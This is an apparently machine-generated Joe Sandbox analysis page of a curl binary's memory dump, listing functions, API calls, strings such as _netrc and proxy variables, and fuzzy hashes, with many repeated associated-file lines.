Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: sendto$ErrorLast
String ID: Received last DATA packet block %d again.$Received unexpected DATA packet block %d, expecting block %d$Timeout waiting for block %d ACK. Retries = %d$tftp_rx: internal error
API String ID: 4042023021-1785996722
Opcode ID: 5994d54e26fa4cb54ed9baa35f3940ae785bd70c19a58b40b0b688a2e4025f13
Instruction ID: 3b0b7dcf89ec5206d9b06ea89a799f5155ca287d6c1dd8f6b6dcdaadfa6ad17e
Opcode Fuzzy Hash: 5994d54e26fa4cb54ed9baa35f3940ae785bd70c19a58b40b0b688a2e4025f13
Instruction Fuzzy Hash: 0F819D71204B009BD7229B38DC85BE7B7E4EF59301F04492EEA9A87391D776A818DB61

Function 0025BD32 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0025BD73
GetTickCount.KERNEL32 ref: 0025BDA2
GetTickCount.KERNEL32 ref: 0025BDF5
GetTickCount.KERNEL32 ref: 0025BE12
GetTickCount.KERNEL32 ref: 0025BE65
GetTickCount.KERNEL32 ref: 0025BE82
GetTickCount.KERNEL32 ref: 0025BED5
CloseHandle.KERNEL32(?,?,00000000), ref: 0025BEF8
FreeLibrary.KERNEL32(?,?,00000000), ref: 0025BF04
GlobalMemoryStatus.KERNEL32(?), ref: 0025BF16
GetCurrentProcessId.KERNEL32(?,00000000), ref: 0025BF84

Strings

f#, xrefs: 0025BF51, 0025BFBD

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CountTick$CloseCurrentFreeGlobalHandleLibraryMemoryProcessStatus
String ID: f#
API String ID: 2654232908-1456218785
Opcode ID: 3663641aa31918432f88026cfd1d337b8d07f3cd808b894b12d51ed5fdb97cd9
Instruction ID: a4906b6e5a1ee55432824364b75dc1daae34d0f4ce76bcec518e750523fd1303
Opcode Fuzzy Hash: 3663641aa31918432f88026cfd1d337b8d07f3cd808b894b12d51ed5fdb97cd9
Instruction Fuzzy Hash: 3A717E70A2061A8BCF229F24CC857AEB779BF41311F5441A9DE09A7150EB30DE98CF59

Function 001F89A0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 256COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 001F8A2D

Strings

HOME, xrefs: 001F8A09
_netrc, xrefs: 001F8A55
, xrefs: 001F8ADF
%s%s%s, xrefs: 001F8A60
machine, xrefs: 001F8C3F
, xrefs: 001F8C64, 001F8CA4
password, xrefs: 001F8BEA
login, xrefs: 001F8BCF
machine, xrefs: 001F8BFE

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: $ $%s%s%s$HOME$_netrc$login$machine$machine$password
API String ID: 237503144-3129465328
Opcode ID: 1661f75ac967cbe0ea62c825f85263f0221fbde597417da42e83de41fb902fce
Instruction ID: 57e98b87c6d483f4bd4ef838e99edb55c69a8dc4636c23a1423f5c4c859d9f57
Opcode Fuzzy Hash: 1661f75ac967cbe0ea62c825f85263f0221fbde597417da42e83de41fb902fce
Instruction Fuzzy Hash: 41910770A0938A8FD7269B2488017FBBBD4AF89344F08092DFA8597281DF71D945C7B7

Function 001E94E0 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 218COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 001E975A

Strings

%15[^?&/:]://%c, xrefs: 001E95B1
HEAD, xrefs: 001E96E6, 001E96F8
Switch from POST to GET, xrefs: 001E9742
Disables POST, goes with %s, xrefs: 001E96F9
Issue another request to this URL: '%s', xrefs: 001E968E
Switch from POST to GET, xrefs: 001E9722
GET, xrefs: 001E96E1
Maximum (%ld) redirects followed, xrefs: 001E951E

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: %15[^?&/:]://%c$Disables POST, goes with %s$GET$HEAD$Issue another request to this URL: '%s'$Maximum (%ld) redirects followed$Switch from POST to GET$Switch from POST to GET
API String ID: 1927824332-3364601050
Opcode ID: 49dc30f8cf1126456ae5168617f8c8a6e8e1b50e13f9d5a85546eae3bdecd641
Instruction ID: f6b4142247f2d7373854f748a31c250e615c79088f0ba721f847f26d36eb0723
Opcode Fuzzy Hash: 49dc30f8cf1126456ae5168617f8c8a6e8e1b50e13f9d5a85546eae3bdecd641
Instruction Fuzzy Hash: 4C813AB0B00EC26BD7199B35CC467EEF794BF55305F04432EE5198A282DB74A9A8CBD1

Function 001DACB0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 142COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104), ref: 001DACF9
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,?,00000000), ref: 001DAD46
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104), ref: 001DADE8

Strings

all_proxy, xrefs: 001DAE43
no_proxy, xrefs: 001DACC8
NO_PROXY, xrefs: 001DAD20
_proxy, xrefs: 001DADA8
ALL_PROXY, xrefs: 001DAE53
http_proxy, xrefs: 001DAE13

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ALL_PROXY$NO_PROXY$_proxy$all_proxy$http_proxy$no_proxy
API String ID: 237503144-2383259138
Opcode ID: 7fff49ee43f0c96b70362a325c193552eb35cff6bce98f9d86ac9c72a31c97fb
Instruction ID: c8d5439c1cc29f81aa1475aa663c48955caf724a24ca09d72e0f31a2b1f746b4
Opcode Fuzzy Hash: 7fff49ee43f0c96b70362a325c193552eb35cff6bce98f9d86ac9c72a31c97fb
Instruction Fuzzy Hash: A94159B15043825BE736EB709846BEBB7996F54340F48093EE98987342EB70E918C793

Function 001E2730 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 127networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 001E287A

Strings

..\..\openssl\openssl\ssl\ssl_lib.c, xrefs: 001E27E5
SSL read: %s, errno %d, xrefs: 001E2886
..\..\openssl\openssl\ssl\ssl_lib.c, xrefs: 001E276C
select/poll on SSL socket, errno: %d, xrefs: 001E28B0
SSL shutdown timeout, xrefs: 001E2899
SSL_ERROR_WANT_WRITE, xrefs: 001E2856
SSL_ERROR_WANT_READ, xrefs: 001E2843

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: ..\..\openssl\openssl\ssl\ssl_lib.c$..\..\openssl\openssl\ssl\ssl_lib.c$SSL read: %s, errno %d$SSL shutdown timeout$SSL_ERROR_WANT_READ$SSL_ERROR_WANT_WRITE$select/poll on SSL socket, errno: %d
API String ID: 1452528299-1885533763
Opcode ID: ba0ad914d064cb7bd76869ceb29bea4f4fc845e60fb2c1140618cc2a6355fb60
Instruction ID: 803a91afc47b3fd57c57353bfb1c1db0c38da1d391896c3aa87a5693dd45aa65
Opcode Fuzzy Hash: ba0ad914d064cb7bd76869ceb29bea4f4fc845e60fb2c1140618cc2a6355fb60
Instruction Fuzzy Hash: E2417D71A047419BD728AF20EC93FEA73E9AF54318F10062DF866462C2EB719E55C792

Function 0022AB10 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 106libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000009,?), ref: 0022AB30
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 0022AB40
GetDesktopWindow.USER32 ref: 0022AB64
GetProcessWindowStation.USER32 ref: 0022AB6A
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?), ref: 0022AB85
GetLastError.KERNEL32 ref: 0022AB93
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?), ref: 0022ABCE

Strings

Service-0x, xrefs: 0022ABE9
_OPENSSL_isservice, xrefs: 0022AB3A

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation
String ID: Service-0x$_OPENSSL_isservice
API String ID: 1233653401-1672312481
Opcode ID: 43bbab390ff55f59d49bca64cb51b5bd3eb73d319ecafef827ac87c308e97ee5
Instruction ID: 2ec0b935d2315b4062a88937965d42d573a1fdf52425957b405834c97de6b4ea
Opcode Fuzzy Hash: 43bbab390ff55f59d49bca64cb51b5bd3eb73d319ecafef827ac87c308e97ee5
Instruction Fuzzy Hash: 2131B431A10619ABCB209FB8FC45AAEB76CEB54714F10426AE816D71D1EB709E11CB51

Function 002C1C4B Relevance: 15.3, APIs: 10, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75acef7fda72d5d9c9f1c8ef5d84e8be799735b7c0030b3f492b54d396427137
Instruction ID: 08fc6b58e3b4d9c836583005d2b09578338c5627f2ad54ad286317bccf007812
Opcode Fuzzy Hash: 75acef7fda72d5d9c9f1c8ef5d84e8be799735b7c0030b3f492b54d396427137
Instruction Fuzzy Hash: 94B14C71D20616AECB20DFA9C845BADB7F8BF0A710F14421EF415D7692E774D860CBA0

Function 002422E0 Relevance: 15.3, APIs: 1, Strings: 9, Instructions: 278COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(..\..\openssl\openssl\crypto\bio\bss_file.c,0000018E), ref: 00242508

Strings

fopen(', xrefs: 0024252C
',', xrefs: 00242526
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 00242542
p~3, xrefs: 002423BB
x~3, xrefs: 0024240B
|~3, xrefs: 0024243B
t~3, xrefs: 002423DB
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 00242503
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 00242577

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: ','$..\..\openssl\openssl\crypto\bio\bss_file.c$..\..\openssl\openssl\crypto\bio\bss_file.c$..\..\openssl\openssl\crypto\bio\bss_file.c$fopen('$p~3$t~3$x~3$|~3
API String ID: 1452528299-1546687134
Opcode ID: 559400d29ac7fa2530307f2bcbc9e4c24412835c84d42cb43f67993e21edbb09
Instruction ID: 2be53abf6079d43a3f3e1b3b51fd99058721166ca523f8f2998164ccf76b316f
Opcode Fuzzy Hash: 559400d29ac7fa2530307f2bcbc9e4c24412835c84d42cb43f67993e21edbb09
Instruction Fuzzy Hash: F8819DB36282418BD729DE289C81BE7B7D4EF85311F4845A9FD859B241C73BDC2C87A1

Function 002D88BB Relevance: 15.3, APIs: 10, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fedd5572b1fae189e9df952b5719034791700e9400cf52ce2b5213391200905
Instruction ID: 63d12458522d1774d34ff191f14a6cda52c6c610dc0900627ce6b28baae965c2
Opcode Fuzzy Hash: 5fedd5572b1fae189e9df952b5719034791700e9400cf52ce2b5213391200905
Instruction Fuzzy Hash: 92B14DB1D20616AECB20DFA9C844AEDB7F8BF08710F14421BF555E7691EB74D860CBA1

Function 002C3DEF Relevance: 15.2, APIs: 10, Instructions: 166COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(002C3B55,00000001,00307BC0,00000014,0029FBDC,00000016,0029FCA0,0029F9A2,?), ref: 002C3F15
GetLastError.KERNEL32 ref: 002C3F2E
DecodePointer.KERNEL32(00307BC0,00000014,0029FBDC,00000016,0029FCA0,0029F9A2,?), ref: 002C3F67
EncodePointer.KERNEL32(?), ref: 002C3F78
DecodePointer.KERNEL32(00307BC0,00000014,0029FBDC,00000016,0029FCA0,0029F9A2,?), ref: 002C3F8B
EncodePointer.KERNEL32(?), ref: 002C3F9C
DecodePointer.KERNEL32(00307BC0,00000014,0029FBDC,00000016,0029FCA0,0029F9A2,?), ref: 002C3FAF
EncodePointer.KERNEL32(?), ref: 002C3FC0
DecodePointer.KERNEL32(00307BC0,00000014,0029FBDC,00000016,0029FCA0,0029F9A2,?), ref: 002C3FD3
EncodePointer.KERNEL32(?), ref: 002C3FE4

Memory Dump Source

